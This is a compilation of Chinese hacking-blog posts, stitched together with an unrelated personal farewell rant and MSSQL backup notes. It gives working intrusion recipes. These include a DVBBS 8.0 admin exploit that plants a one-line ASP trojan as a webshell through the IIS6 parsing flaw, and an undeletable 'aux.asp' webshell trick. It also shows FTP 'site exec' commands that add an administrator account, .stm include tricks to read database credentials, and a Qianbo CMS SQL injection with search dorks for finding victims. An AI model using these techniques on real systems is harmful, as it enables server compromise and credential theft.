最新DVBBS8.0以上版本后台提升webshell 0day
转载请著名出处,char's blog http://www.mm9.com.cn/a/18.html
如果服务器支持PHP,那么,在版块设置里面对某某版块设置上传格式里面增加php,可以传成功。上传地址在后台文件管理处查看。
这次这个后台提权漏洞是上个星期无意中发现的。
1、登录后台,风格界面-模板导出 在附加说明处写入一句话木马
2、点击“导出”成功导出到skins下面的dv_skin.mdb
3、选择数据处理-备份数据库 如图填写
(../skins/dv_skin.mdb已经存在了我们的一句话,然后我们把他备份为XX.mdb-因为dvbbs8以上后,就对备份的数据库名称做了严格判断,只有当后缀是.mdb的时候才能备份成功,所以我这里填char.mdb 。中间备份数据库目录 以XX.ASP的格式写入,不存在,他就自动创建。这就利用了IIS6.0的解析漏洞了。我们看下面就能看明白)
4、点击确定,得到地址,使用一句话木马连接,后台获取webshell成功。
5.一句话木马地址 例: http://www.mm9.com.cn/bbs/a.asp/char.mdb
使用一句话木马连接端连接.
利用系统保留文件名创建无法删除的webshell
Windows 下不能够以下面这些字样来命名文件/文件夹,包括:“aux”,“com1”“com2”“prn”“con”和“nul”等,但是通过cmd下是可以创建此类文件夹的,使用copy命令即可实现:
D:\wwwroot>copy rootkit.asp \\.\D:\\wwwroot\aux.asp
已复制 1 个文件。
D:\AspWebServer\wwwroot>dir
驱动器 D 中的卷没有标签。
卷的序列号是 4A56-1D29
D:\AspWebServer\wwwroot 的目录
2010-04-25 14:41 <DIR> .
2010-04-25 14:41 <DIR> ..
2010-03-08 22:50 42,756 aux.asp
2005-05-02 03:02 9,083 index.asp
2010-03-08 22:50 42,756 rootkit.asp
3 个文件 94,595 字节
2 个目录 3,307,204,608 可用字节
这类文件无法在图形界面删除,
只能在命令行下删除:
D:\wwwroot>del \\.\D:\wwwroot\aux.asp
D:\wwwroot>
然而在IIS中,这种文件又是可以解析成功的。
网络收集,供大家参考
弃剑毁琴,自废武功,再不过问江湖事。从此,安全界不再有bloodsword这号人物
得到确切的消息了
人家已经准备结婚了,51跟海关男去成都玩,祝你们幸福 :)
输,也要输得有风度,有气度!
你给我回短信的时候躲躲闪闪,逃避我的话题,或者故意快11点才回,然后说你要睡觉了。没有关系,我假装看不出来!
你以前不是这样一个人,以前你很直接,从不掩饰,一直都是我在逃避你,不知道为什么你变成这个样子了,我不懂。也许时间真的可以改变一个人。。。。
如果以前因为老衲的冷漠,伤害了你,我道歉!并且希望你能够一笑而过
我说过,其他任何时候我都可以输。但这一次,我输不起,但是我已经输了。输不起又怎么样?我输得惨淡,输得彻底。
6年来,我一直在逃避,到今天,避无可避。
我以为自己可以把感情强压住,痛痛快快当一个拉风的老光棍,我错了。
好吧,我痛快的承认,老衲是个怪物,我的心跟常人不一样。没人能了解我,连我自己都不了解自己!
所有安慰我的人,谢谢你们,但请你们不要再浪费时间了。你们不了解我,我的固执,远远超出你们所有人的想象!
这种程度的打击,也许对你们来说不算什么,也许第二天你们就可以重新开始。但对于我,对不起,刻骨铭心,永世难忘。
当我最终选择面对的时候,却发现已经太晚了。。。。
人家有自己的生活,无谓再去打扰人家了。。。
呵呵,原来一直以来都是我在一厢情愿
哀莫大于心死,我心已死。活在世上的,只是一具没有灵魂的行尸走肉而已
最后上来跟各位说声再见,保重!
另外,申请退出T00ls核心,从此,安全界不再有bloodsword这号人物,黑客们自觉把我拉黑吧。不再研究一切形式的技术问题了。再找我讨论技术,我会翻脸,真的!
我终其一生追求技术,到最后,技术毁了我,我一无所有。。。
米总陆总有空把我所有的职位都撤了吧,或者干脆痛快把ID ban掉算了
一会去各个群里打个招呼,都退了,忘掉我这个曾经拉风的废人吧。。。
我已是个废人,以前是,现在也是。以后?没有以后了,我不敢想象以后。。。。
这几年,我没有失败过。凡是我想做的事,到最后我全部做到了,包括很多以前认为自己不可能做到的事。
我以为这次也不会例外,我错了!
这些年好不容易建立起来的一些自信,被人家一句话无情的摧垮,呵呵,原来我还是跟以前一样一无是处,彻底没有用啊
也奉劝大家在机会还有的时候一定要把握,要珍惜!不要像我一样,白白放走,留下终身的遗憾!
一会把DarkBlade的1.3版发出来,算是给大家的最后一份礼物:)注意,是源码!
这些东西我一直藏着不愿发,其实也没什么大不了的,不是什么值钱的东西!痛痛快快的拿给大家玩吧!
也祝米总新婚愉快!
下面是这些年闲得发慌的时候写的一部小说,还没写完,没按顺序来,先从后面几章开始写的,有些乱,呵呵
这部小说,倾注了本人大量的心血。我本是个追求完美的人,我可以花十年时间来把一件事做到最好,但绝不允许自己花一个月时间来做一件将就的事。
我是完美主义者,我不要将就的,我只要最好的,否则情愿不要!一辈子都不要!
宁为玉碎,不为瓦全!
它可以很好的反映我这些年绝望的心境。可惜啊可惜,我已经没有勇气和动力,再去将它完成。
解压密码是b100d5w0rd
rubbish.rar (128.96 KB)
http://view.news.qq.com/zt/2008/qinghuaheike/index.htm
最后,老衲宣布对此事件负全部责任,不管怎么说,老子也是曾经引起过轰动的人物,哈哈哈哈哈哈哈哈哈哈……
那啥,认识的朋友,给老衲面子的人,请帮忙到处转载下,我不要走得默默无闻,老衲要走得轰轰烈烈
===============
BS大牛退出安全界了,可惜了。。。
alt+del是隐藏,alt+pgdwn是最小化, alt+pgup是显示软件
左边选择你所在局域网的路由器IP地址,右边选择你要嗅探的局域网机器
ftp命令ftp quote site exec的使用
在获得服务器FTP管理员后可以用quote site exec命令来添加系统管理员,cmd下操作方法如下:
quote site exec net user 用户名 密码 /add 添加一个用户
quote site exec net localhost administrators 用户名 /add 把用户添加到系统管理员组
quote site exec tskill PID 在 Windows 2003 中通过 PID 关闭进程
quote site exec tskill notepad 在 Windows 2003 中通过名称关闭同类的进程
quote site exec net stop iisadmin 停止 iis 服务
quote site exec net start iisadmin 启动 iis 服务
win2003单网卡配置VPN
1. [管理工具] -->[路由和远程访问]
2. 鼠标右击你要管理的电脑 在弹出式菜单中选中[配置并启用路由和远程访问
3. 选中[自定义],因为你只有一块网卡嘛,所以选中第一项或第三项的话,你会得到一个“必须两块网卡”的提示.
4. 下一步就是选中[VPN访问],然后系统会问你“要不要启动服务” 当然要启动了。
5. 启动成功后,会得到如下图所示的情形,鼠标右击 要管理的电脑(这里的[KTVSERVER(本地)]),然后在弹出式菜单中选中[属性]
6. 在弹出的控制面板中选中[IP] --> [静态地址池] --> [添加] 然后输入个起始IP [10.240.60.1] 结束IP [10.240.60.10],这个IP段,是给拔入你的VPN服务器的客户端分配的虚拟IP
7. 然后鼠标右击[静态路由]-->[新建静态路由]
8. [接口]选“本地连接”,目标[0.0.0.0],网络掩码[0.0.0.0],网关输入你的网卡上TCP/IP协议里的那个网关(由于本人服务器是使用公网IP,所以使用的是电信局端网关),这一步很重要,不然你的VPN服务器客户拔入后,只能访问你的服务器,不然再访问其它网络。QQ之类的就不能用了
9. 选中[DHCP]中继代理程序
10. 完成以上后,鼠标右击[常规] --> [新增路由协议]
11. 选中[NAT/基本防火墙]
12. 加完后,你就会在左例表中看到[NAT/基本防火墙],鼠标右击[NAT/基本防火墙],选中弹出式菜单中[新增接口]
13. 选中[本地连接]
14. 在面板中选择 [公用接口连接到 Internet] --> [在此接口上启用NAT] ,如果你WINDOWS 2003中使用了系统自带的防火墙的话,请在[服务和端口],中要使用的服务打上勾,如果你不太清楚的话,那就全打上勾.
15. 全部完成,然后使用 VPN拔号软件 连入就行了
=============
因为公司作了上网限制,导致我正常的找资料也成了大问题
头痛
好在朋友一台服务器给我玩,因此想利用其开个VPN,实现代理上网
这样也同时可以绕开公司的监控
--------------------
1、打开[控制面板] --> [管理工具] -->[路由和远程访问]
2、鼠标右击你要管理的电脑在弹出式菜单中选中[配置并启用路由和远程访问]
3、选中[自定义],因为你只有一块网卡嘛,所以选中第一项或第三项的话,你会得到一个“必须两块网卡”的提示
4、一步就是选中[VPN访问],然后系统会问你“要不要启动服务”当然要启动了,有点慢等下吧!
5、启动成功后,鼠标右击要管理的电脑(这里的[(GIS-LFFCBHZ402E本地)]),然后在弹出式菜单中选中[属性]
6、在弹出的控制面板中选中[IP] --> [静态地址池] --> [添加] 然后输入个起始IP [192.168.0.1] 结束IP [192.168.0.254],这个IP段192.168.1.1-192.168.1.254都一样的都可以,是给拔入你的VPN服务器的客户端分配的虚拟IP
7、然后鼠标右击[静态路由]-->[新建静态路由]
8、[接口]选“本地连接”,目标[0.0.0.0],网络掩码[0.0.0.0],网关输入你的网卡上TCP/IP协议里的那个网关(看网上邻居的IP协议),这一步很重要,不然你的VPN服务器客户拔入后,只能访问你的服务器,不然再访问其它网络。QQ之类的就不能用了
查看网上邻居,得到他默认的网关
9、然后删除[DHCP 中继代理程序] 中的[内部]
10、然后鼠标右击[DHCP 中继代理程序] 在弹出式菜单中[新增接口]本地连接
11、选中[本地连接]
12、完成以上后,鼠标右击[常规] --> [新增路由协议]
13、选中[NAT/基本防火墙]
14、加完后,你就会在左例表中看到[NAT/基本防火墙],鼠标右击[NAT/基本防火墙],选中弹出式菜单中[新增接口]
15、选中[本地连接]
16、在面板中选择[公用接口连接到 Internet] --> [在此接口上启用NAT] ,如果你WINDOWS 2003中使用了系统自带的防火墙的话,请在[服务和端口],中要使用的服务打上勾,如果你不太清楚的话,那就全打上勾.
17、然后建立一个VPN帐号,允许拨入,设置允许访问。
18、全部完成,然后使用VPN拔号软件连入就行了完成了
Backup Database 库 To disk='G:\st.bak'
Backup Database 228132 To disk='D:\客户\228132\wwwroot\src\member\da.bak'
MSSQL2005 数据库备份语句
--完整备份
Backup Database NorthwindCS
To disk='G:\Backup\NorthwindCS_Full_20070908.bak'
--差异备份
Backup Database NorthwindCS
To disk='G:\Backup\NorthwindCS_Diff_20070908.bak'
With Differential
--日志备份,默认截断日志
Backup Log NorthwindCS
To disk='G:\Backup\NorthwindCS_Log_20070908.bak'
--日志备份,不截断日志
Backup Log NorthwindCS
To disk='G:\Backup\NorthwindCS_Log_20070908.bak'
With No_Truncate
--截断日志不保留
Backup Log NorthwindCS
With No_Log
--或者
Backup Log NorthwindCS
With Truncate_Only
--截断之后日志文件不会变小
--有必要可以进行收缩
--文件备份
Exec Sp_Helpdb NorthwindCS --查看数据文件
Backup Database NorthwindCS
File='NorthwindCS' --数据文件的逻辑名
To disk='G:\Backup\NorthwindCS_File_20070908.bak'
--文件组备份
Exec Sp_Helpdb NorthwindCS --查看数据文件
Backup Database NorthwindCS
FileGroup='Primary' --数据文件的逻辑名
To disk='G:\Backup\NorthwindCS_FileGroup_20070908.bak'
With init
--分割备份到多个目标
--恢复的时候不允许丢失任何一个目标
Backup Database NorthwindCS
To disk='G:\Backup\NorthwindCS_Full_1.bak'
,disk='G:\Backup\NorthwindCS_Full_2.bak'
--镜像备份
--每个目标都是相同的
Backup Database NorthwindCS
To disk='G:\Backup\NorthwindCS_Mirror_1.bak'
Mirror
To disk='G:\Backup\NorthwindCS_Mirror_2.bak'
With Format --第一次做镜像备份的时候格式化目标
--镜像备份到本地和远程
Backup Database NorthwindCS
To disk='G:\Backup\NorthwindCS_Mirror_1.bak'
Mirror
To disk='\\192.168.1.200\Backup\NorthwindCS_Mirror_2.bak'
With Format
--每天生成一个备份文件
Declare @Path Nvarchar(2000)
Set @Path ='G:\Backup\NorthwindCS_Full_'
+Convert(Nvarchar,Getdate(),112)+'.bak'
Backup Database NorthwindCS
To disk=@Path
--从NoRecovery或者
--Standby模式恢复数据库为可用
Restore Database NorthwindCS_Bak
With Recovery
--查看目标备份中的备份集
Restore HeaderOnly
From Disk ='G:\Backup\NorthwindCS_Full_20070908.bak'
--查看目标备份的第一个备份集的信息
Restore FileListOnly
From Disk ='G:\Backup\NorthwindCS_Full_20070908_2.bak'
With File=1
--查看目标备份的卷标
Restore LabelOnly
From Disk ='G:\Backup\NorthwindCS_Full_20070908_2.bak'
--备份设置密码保护备份
Backup Database NorthwindCS
To disk='G:\Backup\NorthwindCS_Full_20070908.bak'
With Password = '123',init
Restore Database NorthwindCS
From disk='G:\Backup\NorthwindCS_Full_20070908.bak'
With Password = '123'
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去
<!--#include file="xx.asp"-->
<%
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from admin where id=" & id
rs.open strSQL,conn,1,3
rs.close
%>
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
然后就要构造一个连接数据库的文件了,代码如下:
<%
strSQLServerName = "000.000.000.000" '服务器名称或地址
strSQLDBUserName = "sqlname" '数据库帐号
strSQLDBPassword = "sqlpass" '数据库密码
strSQLDBName = "sqldataname" '数据库名称
Set conn = Server.CreateObject("ADODB.Connection")
strCon = "Provider=SQLOLEDB.1;Persist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & ";Password=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
conn.open strCon
%>
这里应该都会了;不过注意的是保存的文件名要和include调用的名字一样。正常情况下,就OK了,伪造成功……
--独自等待
stm文件包含功能的利用
stm是一种文件后缀名
在浏览器中请求test.stm,没有什么反映,一片空白。但是一查看源代码,会发现是文件的真实内容,如果是ASP文件,则可以查看ASP的源码。
看下IIS服务器\主目录\配置\映射\stm,发现IIS解析此后缀名的文件是C:\WINDOWS\system32\inetsrv\ssinc.dll 也就是服务器端包含。
利用这个特性可以调试ASP程序,如一个asp文件,里面包含了很多的include file="",你想看看有没有重复或其它,可以将此文件后缀名改为stm,再用浏览器浏览,查看其代码。
变通地想,有些网站不准上传asp,aspx,htm,html,但对此文件后缀没有限制,可以上传一个x.stm到服务器。代码中写<!--#include file="conn.asp"-->,如果你知道其conn.asp的准备位置,可以用相对路径定位。然后浏览,怎么样,数据据信息一览无余。此时充当了一个木马的作用。
后记:大家可以用stm来调试asp,并且在配置IIS的时候要删除此映射。上次一位同学要实现查看一个asp全部包含的全部代码的功能,虽然想起来,却忘记了具体的后缀,一时google,baidu都找不到,居然忘记去看IIS的映射。今天偶然想起,好记性不如烂笔头,如果你坚持看到此外,相信本文对你有些用处。
两种方式,通过stm文件,是可以直接将asp文件的源代码直接输出到客户浏览器中。
要求:
1、服务器端要有shtml脚本映射
2、可以向服务器写入.stm/.shtm/.shtml后缀文件
3、知道想察看文件的文件名及相对位置
举例:
向服务器目录写入test.stm文件
<!--#include virtual="/news/index.asp"-->
或者
<!--#include file="index.asp"-->
注意:使用“virtual=”时,要指定文件对于根的相对位置,而使用“file=”的时候,需要指定文件对于上传目录,即test.stm的相对位置。
在浏览器输入http://www.xxx.com/news/test.stm,察看源代码,即可以看到index.asp文件的源代码。当然,我们也可以写入多个文件,来一次察看多个文件的源代码。
也有很多朋友把这个方法用在攻击上,用来查看conn等文件的内容,从而获得数据库位置,都一样!主要是自己灵活应用了!
今天在入侵的时候也遇到这样一个问题,搞一个网络硬盘,asp,asa,aspx的都传不上去,其它的后缀可以上传但不能用,NC抓包上传也搞过,没有效果,后来想到了数据库入侵,于是上传stm文件,并将conn.asp文件包含进去,结果查到了数据库,是asa后缀,插入一句话,连接成功,希望这种方法大家在以后的安检过程中也能用得到哦。
千博企业网站管理系统 Oday
Author:Lan3a
转载请注明出处:http://blog.cfyhack.cn/
无聊
程序都加入了防注入代码的,在NoSql.asp文件中
<%
If EnableStopInjection = True Then
Dim Fy_Post, Fy_Get, Fy_In, Fy_Inf, Fy_Xh, Fy_db, Fy_dbstr
Fy_In = "'|;|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
Fy_Inf = Split(Fy_In, "|")
If Request.Form<>"" Then
For Each Fy_Post In Request.Form
For Fy_Xh = 0 To UBound(Fy_Inf)
If InStr(LCase(Request.Form(Fy_Post)), Fy_Inf(Fy_Xh))<>0 Then
Response.Write "<Script Language='JavaScript'>alert('警告:参数非法!');</Script>"
Response.End
End If
Next
Next
End If
If Request.QueryString<>"" Then
For Each Fy_Get In Request.QueryString
For Fy_Xh = 0 To UBound(Fy_Inf)
If InStr(LCase(Request.QueryString(Fy_Get)), Fy_Inf(Fy_Xh))<>0 Then
Response.Write "<Script Language='JavaScript'>alert('警告:参数非法!');</Script>"
Response.End
Response.End
End If
Next
Next
End If
End If
%>
没有过滤cookie,不过程序在对变量传入时都限制了整型的,所以我也没办法。
继续看。
MemberLogin.Asp这个文件
Dim LoginName, LoginPassword, VerifyCode, MemName, Password, GroupID, GroupName, Working, rs, sql
LoginName = Trim(request.Form("LoginName"))
LoginPassword = Md5(request.Form("LoginPassword"))
Set rs = server.CreateObject("adodb.recordset")
sql = "select * from Qianbo_Members where MemName='"&LoginName&"'"
没有加入防注入代码,不过却是登录验证页面,如果是MSsql数据库我们还好办点。
这个时候,在HitCount.Asp这个文件里发现,文件没有调用防注入代码
<%
Dim rs, m_SQL
Dim m_ID
m_ID = ReplaceBadChar(Request.QueryString("id"))
m_LX = ReplaceBadChar(Request.QueryString("LX"))
action = ReplaceBadChar(Request.QueryString("action"))
If action = "count" Then
conn.Execute("update "&m_LX&" set ClickNumber = ClickNumber + 1 where ID=" & m_ID & "")
Else
m_SQL = "select ClickNumber from "&m_LX&" where ID=" & m_ID
Set rs = conn.Execute(m_SQL)
response.Write "document.write("&rs(0)&");"
rs.Close
Set rs = Nothing
End If
%>
就是这个文件了。我们来构造注入语句
如下:
关键字:
引用
inurl:Search.Asp?Range=Product&Keyword=
inurl:ProductBuy.Asp?ProductNo=
官网也存在这个问题,通杀。
Author:Lan3a
转载请注明出处:http://blog.cfyhack.cn/
关键字:
引用
inurl:Search.Asp?Range=Product&Keyword=
inurl:ProductBuy.Asp?ProductNo=
inurl: (ProductShow.asp?ID=)
爆用户:
如果不行 试试下面的
爆密码:
如果不行 试试下面的